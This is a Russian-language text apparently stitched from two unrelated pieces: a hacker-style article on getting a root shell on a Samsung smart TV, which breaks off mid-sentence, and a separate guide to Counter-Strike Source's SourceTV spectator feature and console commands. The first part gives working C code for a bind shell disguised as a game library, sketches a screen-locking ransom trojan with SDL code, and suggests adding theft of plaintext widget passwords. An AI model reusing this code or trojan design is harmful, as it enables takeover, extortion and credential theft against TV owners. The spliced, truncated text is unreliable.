    Все ожидаемо — ARM! Где мультимедиа, там и эти трудяги. Просматривая информацию из этой библиотеки, вывод objdump, я заметил функцию Game_Main, которая, как оказалось, и вызывается при загрузке игры. Прежде чем писать что-то для получения доступа к системе, нужно было разобраться, каким образом игры загружаются на телевизор. Поместив директорию с файлами игры в корень флэшки (FAT32) и подключив ее к телевизору, я увидел меню автозапуска, предлагающее мне обновить ПО или же посмотреть содержимое через ContentLibrary. В ContentLibrary: источник — флешка, пункт меню — "Игра", в списке директорий — "Директория с игрой .. Воспроизвести". Готово, игра загрузилась.

    Теперь таким же образом нужно запустить нашу хек-игру. Bindshell я взял самый элементарный, никаких особых выкрутасов здесь не требуется, главное — скомпилировать его как sharedlibrary и объявить функцию Game_Main().

    #include
    #include
    #include
    #include
    #include
    extern Game_Main;
    void Game_Main()
    <
    int icmp_sock, shell_sock, cli;
    struct sockaddr_in sin;
    sin.sin_family = AF_INET;
    sin.sin_addr.s_addr = INADDR_ANY;
    sin.sin_port = htons(1337);
    shell_sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
    bind(shell_sock, (structsockaddr *)&sin, sizeof(sin));
    listen(shell_sock, 1);
    cli = accept(shell_sock, NULL, 0);
    dup2 ( cli, 0 );
    dup2 ( cli, 1 );
    dup2 ( cli, 2 );
    execl ( "/bin/sh", "sh", NULL );
    >

    arm-linux-gccbindshell.c -fPIC -shared -o game.so

    Запуск злокода

    Для запуска бинд-шелла нужно положить в корень флэшки папку с файлами game.so (который получили на прошлом этапе)и clmeta.dat (его можно взять от любой другой игры). После этого нужно подключить флешку к телевизору и запустить игру в меню автозапуска. В качестве результата работы бинд-шелла ты должен получить черный экран на телевизоре и открытый шелл на 1337 порту. Успех работы бинд-шелла проверяется простой командой:

    $ telnet 192.168.1.2 1337

    Имея опыт работы со встраиваемыми системами, я сразу подумал, что в устройстве используется busybox — популярный простенький шелл с набором основных консольных утилит. Запустив эту оболочку командой busybox, я увидел традиционный help, в котором была информация об ОС и список доступных программ, включающий даже vi.

    Внутренности системы

    В корне файловой системы я сразу заметил кучу mtd_*-директорий: это точки монтирования блоков flash-памяти. Версия ОС как всегда на своем месте:

    # cat /proc/version
    [28_64_512] Linux version 2.6.18_SELP-ARM (ksh921@sp) (gcc version 4.2.0 20070514 (GPL2) (SELP 4.2.0-3.0.5.custom 2007-10-31(14:53))) #81 PREEMPT Mon Jun 22 10:10:31 KST 2009

    Интересно взглянуть и на файл passwd:

    # cat /etc/passwd
    root::0:0:Root. /:/bin/sh

    Вот так, даже без пароля. Подробнее о железе можно узнать из лога загрузки, да и вообще туда следует заглядывать всегда, помогает понять общую картину строения девайса:

    Теперь интересные части лога:

    CPU: ARMv6-compatible processor [410fb767] revision 7 (ARMv6TEJ), cr=00c5387f
    Machine: Samsung-SDP83 Eval. Board(64bit 512MB)
    SDP83 Core Clock: 600.0Mhz
    SDP83 DDR2 Clock: 399.937Mhz

    А телевизор оснащен неплохо: ARMv6 600Mhz, DRRII 400Mhz 512MB. Буквы "TEJ" здесь означают следующее:

    • T: Поддержка THUMB-режима процессора. В этом режиме исполняются инструкции длиной 16 бит (в нормальном режиме – 32). Режим этот нужен для оптимизации программ по размеру.
    • E: Enhanced DSP instructions.
    • J: Jazelle DBX (Direct Bytecode eXecution) — семейство замечательных технологий, разработанных компанией ARM для аппаратного ускорения выполнения Java байт-кода. В процессор добавляется специальный сопроцессор, который аппаратно преобразует байт-код в инструкции основного процессора. В результате осуществляется значительное ускорение выполнения Java-кода.

    В списке процессов не было почти ничего интересного, за исключением процесса exeDSP — это управляющая программа.

    Список модулей ядра:

    # lsmod
    rt73 354092 0xbf531000
    rt2870sta 674644 0xbf48b000
    usb_storage 37796 0xbf480000
    ohci_hcd 18692 0xbf47a000
    ehci_hcd 29992 0xbf471000
    usbcore 129064 0xbf450000
    usb_fault 4380 0xbf44d000
    8139too 23296 0xbf446000
    samdrv 3875988 0xbf092000
    rfs 71688 0xbf07f000
    fsr_stl 251448 0xbf040000
    fsr 257756 0xbf000000

    Сверху вниз: первые 2 модуля — драйверы фирменных Wi-Fi адаптеров Samsung. Компания специально убрала поддержку сторонних адаптеров, чтобы потребителям пришлось покупать "родные" карточки по высокой цене. Следующие пять модулей реализуют поддержку usb; далее идет драйвер сетевой карты; samdrv — драйвер телевизора; следующий по списку — модуль поддержки файловой системы Samsung, fsr* — модули доступа к памяти.

    Файловая система

    Руководствуясь данными mount, df и содержанием файла /sbin/update.sh, я собрал полезную информацию о структуре файловой системы нашего телевизора:

    • /dev/tbml6, squashfs, ro, / — корневая файловая система;
    • /dev/tbml7, squashfs, ro, /mtd_boot — содержит управляющую программу MinicomCtrl, несколько стартовых скриптов и модули ядра;
    • /dev/tbml8, rfs, ro, /mtd_exe – содержит множество файлов, в том числе управляющую программу exeDSP, драйвер samdrv.ko, библиотеки;
    • /dev/tbml9 squashfs, ro, /mtd_appdata – содержит служебные файлы;
    • /mtd_tlib — MediaContent — галерея, игры и прочее;
    • /mtd_down — содержит загруженные виджеты;
    • /dtv/usb/sd* — точки монтирования usb-flash.

    Как видно, тут используются два типа ФС: squashfs и rfs. Squashfs предоставляет доступ к данным только в режиме ReadOnly, поэтому для модификации данных нужно слить дамп на внешний носитель, распаковать, изменить данные и залить исправленный образ назад на устройство.

    Заметив среди точек монтирования свою флешку, я решил сдампить на нее все интересное для дальнейшего изучения и модификации. Первым делом я забрал дамп корневой файловой системы:

    # cat /dev/tbml6 > /dtv/usb/sda/rootfs.img

    Сдампив по аналогии все что было можно, я отправился бродить по директориям. Вот наиболее интересные места и файлы, которые я обнаружил:

    • /mtd_exe/GAME_LIB/ — SDL-библиотеки, используемые играми для вывода звукаграфики;
    • /mtd_exe/InfoLink/keyconfig — биндинги клавиш пульта дистанционного управления, при просмотре содержимого сразу видно "костыль" — биндинги к клавишам обычной клавиатуры;
    • /mtd_appdata/resourse — звуки включения (on.mp3), выключения (off.mp3), сброса до заводских настроек (factory_reset_bell.mp3) и звук, проигрываемый при тесте (self.mp3).

    Распаковка

    Корневая файловая система распаковывается элементарно:

    А как быть с /mtd_exe? Файловая система RFS создана на базе FAT16, поэтому ничего распаковывать не требуется, нужно просто ее смонтировать:

    $ mkdirmtd_exe
    $ mount mtd_exe.img ./mtd_exe -o loop
    $ ls -la mtd_exe

    Теперь у нас есть возможность изменять любые данные внутри этих дампов: например, можно легко сменить ненавистные звуки включения/выключения устройства (/mtd_appdata/resourse) или перенастроить значение клавиш пульта ДУ (/mtd_exe/InfoLink/keyconfig).

    Троян для телевизора

    Речь пойдет только о концепции трояна, никакого законченного решения здесь нет. Моей целью является просто пофантазировать на эту тему и показать, как примерно может выглядеть вредоносный софт для современных телевизоров. Прежде всего, что вообще может делать такой троян? Вот сходу три годные идеи:

    1. Блокиратор телевизора

    Все помнят веселый замес с троянами типа Winlock. Тупой софт, блокирующий работу компьютера и предлагающий снять ограничения платной SMS’кой, позволил злым парням заработать миллионы долларов. Ничто не мешает развить эту идею на новые платформы, и телевизоры — точно не худший вариант для этого. Представь: "Телевизор заблокирован, для разблокирования отправьте sms на номер XXXX". Как ты скоро убедишься, написать такой "троян" довольно просто.

    2. Рекламный трой

    Идея простая — классическая adware, рекламный трой, показывающий рекламу во время просмотра телека или использования меню.

    3. DDoS/спам-бот

    Любой современный телевизор — это прежде всего обычный компьютер на базе Linux. И, само собой, он легко может выполнять любой привычный троянописателям функционал наподобие рассылки спама, участия в DDoS-ботнетах и так далее. Теперь расскажу, как подобные трои могут работать. В качестве примера я решил взять блокиратор: это довольно простой и показательный пример. Для вывода графики в телевизоре используется библиотека SDL. Документация к этой библиотеке есть и на русском языке. Все стартовые скрипты расположены на блоках с RO-доступом, без правки дампов не обойтись. Но есть еще один вариант — автозапуск через виджеты или игры. Не обязательно инфицировать игру, можно просто переименовать game.so, а вместо него положить рядышком wrapper с полезной нагрузкой, который в форке запустит игру, чтобы не нервировать пользователя.

    Итак, принцип работы трояна. Стартовав, первым делом fork’аемся на 2 процесса: первый будет выводить графику, второй — отстукиваться на управляющий сервер. Инициализация графики в телевизоре должна проходить примерно таким образом:

    #defi ne VIDEO_X 1920
    #defi ne VIDEO_Y 1080
    #defi ne VIDEO_BPP 32

    #defi ne SCREEN_FLAGS 0
    .
    fl og = fopen("/dev/kmsg", "a+");
    .
    int init_video(void)
    <
    if(SDL_Init(SDL_INIT_VIDEO) == -1 )
    <
    printf(flog, "Fail with SDL_Init: %s.n", SDL_GetError());
    return 0;
    >
    atexit(SDL_Quit);
    if(!(screen = SDL_SetVideoMode(VIDEO_X, VIDEO_Y, 32, SCREEN_FLAGS)))
    <
    fprintf(flog, "Fail with SDL_SetVideoMode: %s.n", SDL_GetError());
    return 0;
    >

    Далее нужно вывести сообщение вроде "Телевизор заблокирован, отправьте SMS. ". Проще всего загрузить изображение с этим текстом, плюс можно ещe и пофантазировать вдоволь. Делается это очень просто:

    int draw_image()
    <
    if(!(image = SDL_LoadBMP("/mtd_down/locker/fuckup.bmp")))
    <
    printf("Fail with LoadBMP: %s.n", SDL_GetError());
    return 0;
    >
    SDL_BlitSurface(image, NULL, screen, NULL);
    return 1;
    >

    Функция SDL_BlitSurface() "накладывает" загруженное изображение на экран. Графическая часть трояна готова. С сетевой частью проблем не будет — обычные сокеты, никакой экзотики.

    Недостатки Internet@TV

    В оболочке телевизора есть интерфейс "Internet@TV" — это своего рода каталог интернет-виджетов: AccuWether, Youtube, Twitter, Facebook. Я поставил Twitter: мне было интересно посмотреть, как тут все устроено в плане безопасности. Вбив свой логин с паролем в виджет Twitter, я зателнетился к телевизору, чтобы поискать, как хранятся пароли от моего твиттера.

    Исследуя каталог /mtd_down/common, я нашел папку с многообещающим названием WidgetMgr. Внутри лежали файлы cpdata1.dat и localId.dat. Как выяснилось, именно в этих файлах и хранились в открытом виде пароли от виджетов:

    # cat localId.dat
    hm 1111 cpdata1.dat

    Поясню немного назначение файлов: localId содержит параметры "общей" учeтной записи, по одной на строку. Формат прост — login:pin:passwd_file.

    Файл c pdataN (где N — номер "общей" учeтной записи, этих файлов может быть несколько), содержит пароли к виджетам в открытом виде. Все, теперь ты можешь добавить к нашему "трояну" функционал для кражи сохраненных в телевизоре паролей от интернет-сервисов.

    Реанимация устройства: консольный кабель

    Перед тем как закатывать исправленные дампы файловой системы, нужно узнать, как восстанавливать девайс в случае неудачной записи. Для этого у телевизора имеется специальный разъем, выполненный под обычный 3.5-миллиметровый джек. Собственно, терминальный кабель и представляет собой аудио-кабель, у которого с одной стороны джек, а с другой – разъем RS-232.


    Имеется два варианта восстановления:

    SourceTV это программа которая встроена в игру Counter Strike Source которая позволяет наблюдать за матчем, как от первого лица (то есть от лица игрока), так и со стороны. Используя Source TV зрители невидимы игрокам которые играют на сервере, а также наблюдатели не могут никак влиять на ход игры. Вид камеры SourceTV может менятся как самим сервером так и непосредственно человеком, будучи ответственным за управлению ею. Вещание матча через SourceTV может передаваться с некоторым заранее заданным временным интервалом. Эта возможность страхует от вероятности того, что игроки могут воспользоваться SourceTV, чтобы получить какую-либо информацию об их оппонентах.
    Организация SourceTV для вещания нескольким зрителям не требует никаких особых временных затрат и ресурсов сервера. Организация же вещания для тысяч зрителей может потребовать предварительной подготовки и серьезных требований к серверу. Сама утилита очень помогает вести аналитику матча. Кроме всего этого, сурс-ТВ можно открывать отдельным окном и наслаждаться параллельно браузерными играми. Если вы хотите совместить полезное с приятным, то откройте лучшие браузерные игры и играйте в свое удовольствие, при этом оставаясь всегда подключенным через Source TV к вашим лучшим матчам ксс.

    1. Просмотр игры

    Для просмотра матча через SourceTV откройте Steam , выберите раздел Servers для того, чтобы открыть браузер серверов. Выберите раздел Spectate , чтобы увидеть список доступных SourceTV серверов. Вы можете изменить критерии поиска серверов через Change filters . Подключиться к серверу можно кликнув по нему в списке серверов два раза мышкой.
    Часто игровые лиги и чемпионаты заранее публикуют IP (вида IP:Port) адреса SourceTV, по этому вы всегда можете добавить адрес в закладку Favorites вместо того, чтобы искать его через поиск. Можно также подключиться к SourceTV используя консоль игры

    Порт по умолчанию у SourceTV является 27020 , но может быть изменен по усмотрению администратора. Но порт SourceTV всегда следует указывать, так как порт по-умолчанию игрового сервера - 27015.
    В момент просмотра матча через SourceTV тип камеры и ее позиция определяются или самим сервером или человеком за это ответственным. Сами наблюдатели не могут переключать камеру, как это было в HLTV , так как это во много раз увеличивает пропускную способность. В тоже время демо записи, заснятые через SourceTV позволяют наблюдателям переключать камеру по их усмотрению.

    2. Транслирование игры

    SourceTV полностью интегрирован в Движок Source и больше не является отдельной программой, как это было раньше с HLTV. Чтобы начать вещание, сервер должен активировать SourceTV перед стартом карты командой tv_enable 1 . После этого в игре можно будет увидеть SourceTV как отдельного бота, присутствующего в наблюдателях. Сервер SourceTV "живет" также как и игровой серверный процесс и называется SourceTV master server . Процесс SourceTV master server накапливает и кэширует информацию, после чего отдает ее клиентам с указанной задержкой, дабы избежать попыток читерства со стороны команд. Авто выбор камеры - это специальный мод, который автоматически определяет интересные игровые моменты и старается их показать зрителям (такие как убийства или закладка бомбы). Может быть также назначен человек - оператор матча, который будет сам выбирать игровые моменты и показывать зрителям их, SourceTV будет транслировать игру через его экран. Спектаторы SourceTV чаще всего подключаются к стандартному порту SourceTV 27020. Порт SourceTV может также быть изменен консольной командой tv_port .

    Подобная конфигурация удобна для маленьких матчей с малым количеством зрителей. Вся информация о зрителях и игроках обрабатывается игровым сервером. Большое количество зрителей тут же потребует большой нагрузки на процессор и пропускную способность канала. Следовательно логичным было бы решить проблему расхода мощности процессора и трафика распределив их между различными вспомогательными серверами, число которых можно увеличивать с растущим объемом зрителей. Этот способ осуществим подключением вспомогательных SourceTV к главному SourceTV транслятору, которые и будут выполнять роль распределителей зрителей. Такие сервера называются SourceTV прокси сервера , и каждый Прокси сервер может обрабатывать одновременно до 255 человек. Естественно сами Прокси сервера также могут подключаться к таким же прокси серверам и образовывать тем самым неограниченную сеть SourceTV серверов, транслирующую одну игру.

    Чтобы настроить прокси сервер SourceTV необходимо запустить выделенный сервер Source с параметром tv_relay с указанием IP адреса другого SourceTV сервера.

    Статус локального SourceTV всегда можно посмотреть командой tv_status . Вот пример ответа на эту команду:

    Online 05:15, FPS 75.7, Version 2350 (Win32)
    Local IP 207.173.178.143:27020, KB/sec In 2.0, Out 4.1
    Local Slots 128, Spectators 1, Proxies 1
    Total Slots 256, Spectators 2, Proxies 1
    Master, Delay 30
    Game Time 05:16, Mod "cstrike", Map "de_dust", Players 4

    Total slot и количество зрителей является суммарной величиной всех возможных слотов и зрителей с учетом подключенных прокси серверов. Если прокси сервер теряет подключение к мастер серверу то можно попытаться быстро подключиться с помощью команды tv_retry . Чтобы остановить вещание и отключить всех зрителей следует набрать команду tv_stop .

    3. Ручное управление камерой

    Камера в большинстве случаев управляется сервером. Но если оператор войдет в игру и займет место наблюдателя, во время матча нажмет клавишу E (Use) , то камера SourceTV автоматически переключится на ручное управление и будет транслировать матч "из глаз" оператора. Оператор может выбрать любой режим показа (от первого лица, от третьего лица, свободный полет и тд.). Переключить камеру обратно в режим авто управления можно нажав еще раз клавишу E.
    Оператор должен обладать хорошим знанием матча, чтобы транслировать его зрителям.
    Мертвый игрок, если зайдет в наблюдатели, так же может стать оператором.

    4. Запись игры

    Мастер сервер SourceTV может осуществлять запись игры без какой-либо потери данных или сетевой задержки. Все события и предметы записываются в один файл, который может быть в последствие проигран как обычный демо файл (используйте команду demoui для проигрывания демо). Чтобы начать запись демо необходимо запустить SourceTV перед тем как карта будет загружена, после чего начать запись с помощью команды tv_record demoname . Запись демо прервется при смене карты или принудительно с помощью команды tv_stoprecord . Чтобы автоматически заставить писать каждый матч как только SourceTV будет включен необходимо прописать tv_autorecord 1 . Автоматически записанные демо-файлы будут сохраняться с именем даты и времени формата auto-YYYYMMDD-hhmm-map.dem . Клиенты SourceTV также могут записывать ход матча с SourceTV командой record , но при просмотре файлов они будут иметь формат обычного демо, то есть человек не сможет сменить вид камеры и переключиться с игрока на другого игрока в течение проигрывания демо.
    Иногда может понадобиться использовать SourceTV только для записи демо, но не для показа и вещания через него матча. Для того чтобы отключить вещание через SourceTV необходимо уменьшить количество возможных зрителей до нуля командой tv_maxclients 0 . Чтобы включить автозапись SourceTV на вашем сервере, добавьте эти строчки в ваш autoexec.cfg :

    5. Консольные команды

    tv_enable
    активирует SourceTV на локальном игровом сервере, бот SourceTV появится в наблюдателях при следующей смене карты.
    tv_name
    указывает имя SourceTV, которое появится в таблице счета и браузере серверов.
    tv_maxclients
    устанавливеат максимальное количество зрителей для данного SourceTV. (максимум 255, по умолчанию - 128).
    tv_stop
    остановить трансляцию через SourceTV.
    tv_status
    показать различную информацию по текущему SourceTV.
    tv_retry
    перепоключает SourceTV на последний известный адрес (только для прокси серверов).
    tv_delay
    задержка трансляции SourceTV в секундах (только для мастер сервера).
    tv_port
    устанавливает порт для SourceTV (по умолчанию 27020).
    tv_maxrate
    установить максимально допустимую пропускную способность проводимую для одного клиента в байт/секунда (изначально 3500).
    tv_password
    установить пароль на SourceTV для подключающихся зрителей.
    tv_relaypassword
    установить пароль на подключение для прокси серверов.
    tv_record
    начать запись SourceTV демо файла (только для мастер сервера).
    tv_stoprecord
    остановить запись демо.
    tv_autorecord
    автоматически записывать каждую игру. Формат файла - auto-YYYYMMDD-hhmm-map.dem.
    tv_debug
    показывает дополнительную отладочную информацию.

    6. Параметры запуска

    Эти параметры запуска сервера нельзя изменить через консоль или rcon . Они необходимы для того, если вам понадобилось запретить возможности SourceTV на сервере.

    Читайте также: